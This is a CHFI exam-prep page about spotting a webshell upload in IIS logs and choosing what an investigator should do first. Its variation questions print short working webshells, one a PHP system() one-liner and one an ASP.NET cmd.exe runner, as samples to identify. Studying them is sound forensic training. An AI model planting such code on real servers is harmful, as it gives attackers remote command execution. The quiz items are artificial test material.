Question 135 of 1,000
Application, Email and Cloud ForensicsmediumMultiple ChoiceObjective-mapped

Quick Answer

The answer is to analyze the uploaded shell.aspx file for malicious content. This is correct because the IIS log entry captures a POST request to a file named shell.aspx within the uploads directory, returning a 200 status code, which is the classic signature of a successful webshell upload; the investigator must prioritize retrieving and examining that file to confirm the compromise and assess its capabilities. On the Computer Hacking Forensic Investigator CHFI exam, this scenario tests your ability to correlate HTTP methods and response codes with attack patterns—specifically, that a POST to an executable script in a writable directory with a 200 response strongly indicates a webshell, not a benign file. A common trap is to focus on the source IP or timestamp first, but the file itself holds the forensic evidence. Memory tip: “POST + 200 + .aspx in uploads equals payload confirmed.”

CHFI Application, Email and Cloud Forensics Practice Question

This CHFI practice question tests your understanding of application, email and cloud forensics. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.

During a forensic investigation of a compromised web server, you find the following entry in the IIS log: 192.168.2.50, -, 10/Jan/2023, 14:32:15, W3SVC1, WEB01, 192.168.2.10, 80, POST, /uploads/shell.aspx, 200, 0, 0, 513, 0, Mozilla/4.0. Which action should the investigator prioritize?

Question 1mediummultiple choice
Full question →

Answer choices

Why each option matters

Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.

Correct answer & explanation

Analyze the uploaded shell.aspx file for malicious content

The log shows a POST request to shell.aspx in the uploads directory with a 200 status, indicating a likely webshell upload. The investigator should retrieve and analyze the uploaded file for malicious content to confirm the compromise.

Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.

Answer analysis

Option-by-option breakdown

For each option: why learners choose it and why it is or isn't the right answer here.

  • Rebuild the web server from a clean backup

    Why it's wrong here

    Rebuilding is a remediation step; investigation should preserve evidence first.

  • Analyze the uploaded shell.aspx file for malicious content

    Why this is correct

    The file is likely a webshell; analyzing it helps understand the attacker's capabilities and persistence mechanisms.

    Related concept

    Read the scenario before looking for a memorised answer.

  • Delete the shell.aspx file immediately

    Why it's wrong here

    Deleting may destroy evidence; proper forensic preservation is required.

  • Check the web server's firewall logs for the attacker's IP

    Why it's wrong here

    While useful, the immediate priority is to analyze the uploaded file to confirm the attack vector.

Common exam traps

Common exam trap: answer the scenario, not the keyword

Many certification questions include familiar terms but test a specific constraint. Read the exact wording before choosing an answer that is generally true but wrong for this case.

Detailed technical explanation

How to think about this question

This question should be treated as a scenario, not a definition check. Identify the problem, the constraint and the best action. Then compare each option against those facts.

KKey Concepts to Remember

  • Read the scenario before looking for a memorised answer.
  • Find the constraint that changes the correct option.
  • Eliminate answers that are true in general but not in this case.
  • Use explanations to understand the rule behind the answer.

TExam Day Tips

  • Underline the problem statement mentally.
  • Watch for words such as best, first, most likely and least administrative effort.
  • Review why wrong options are wrong, not only why the correct option is correct.

Key takeaway

Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.

Real-world example

How this comes up in practice

A practitioner preparing for the CHFI exam encounters this exact type of scenario on the job. The correct answer here is not the most general option — it is the best answer for the specific constraint described. Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option. Real exam questions reward reading the full scenario before eliminating options, because the constraint defines which answer fits.

What to study next

Got this wrong? Here's your next step.

Identify which CHFI exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.

Related practice questions

Related CHFI practice-question pages

Use these pages to review the topic behind this question. This is how one missed question becomes focused revision.

Practice this exam

Start a free CHFI practice session

Short sessions build daily habit. Longer sessions build exam-day stamina. Try a timed session to simulate real conditions.

FAQ

Questions learners often ask

What does this CHFI question test?

Application, Email and Cloud Forensics — This question tests Application, Email and Cloud Forensics — Read the scenario before looking for a memorised answer..

What is the correct answer to this question?

The correct answer is: Analyze the uploaded shell.aspx file for malicious content — The log shows a POST request to shell.aspx in the uploads directory with a 200 status, indicating a likely webshell upload. The investigator should retrieve and analyze the uploaded file for malicious content to confirm the compromise.

What should I do if I get this CHFI question wrong?

Identify which CHFI exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.

What is the key concept behind this question?

Read the scenario before looking for a memorised answer.

About these practice questions

Courseiva creates original exam-style practice questions with explanations and wrong-answer analysis. It does not publish real exam questions, exam dumps, or protected exam content. Learn why practice questions differ from exam dumps →

How Courseiva writes practice questions · Editorial policy

Same concept, more angles

3 more ways this is tested on CHFI

These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.

Variation 1. While investigating a compromised web server, you discover a file named 'shell.php' in the web root. The file contains the following code: <?php system($_GET['cmd']); ?>. Which of the following best describes this file?

hard
  • A.A SQL injection script
  • B.A file upload vulnerability exploit
  • C.A backdoor trojan
  • D.A web shell

Why D: This PHP code executes system commands passed via the 'cmd' GET parameter. This is a classic webshell, allowing remote command execution.

Variation 2. During a forensic investigation of a compromised web server, you find a file named 'cmd.aspx' in the uploads directory. The file contains: <%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c "+Request.QueryString["cmd"])).StandardOutput.ReadToEnd(); %>. What is the most likely purpose of this file?

hard
  • A.It is a database connection string
  • B.It is a legitimate ASP.NET application page for server management
  • C.It is a webshell used for remote command execution
  • D.It is a cross-site scripting payload

Why C: This is a webshell that executes arbitrary operating system commands via the 'cmd' query parameter. It allows remote command execution on the server.

Variation 3. An investigator examining a compromised web server finds a file named shell.aspx in the uploads directory. The file contains code that accepts commands via HTTP POST and executes them on the server. What is the MOST likely type of attack?

medium
  • A.Server-side request forgery (SSRF)
  • B.SQL injection
  • C.Webshell
  • D.Cross-site request forgery (CSRF)

Why C: A file that accepts and executes commands remotely is a webshell, often placed via file upload vulnerabilities to maintain access.

Last reviewed: Jun 21, 2026

Question Discussion

Share a tip, memory trick, or ask about the reasoning behind this question. Do not post real exam questions, leaked content, braindumps, or copyrighted exam material. Comments are moderated and may be removed without notice.

Loading comments…

Sign in to join the discussion.

This CHFI practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CHFI exam.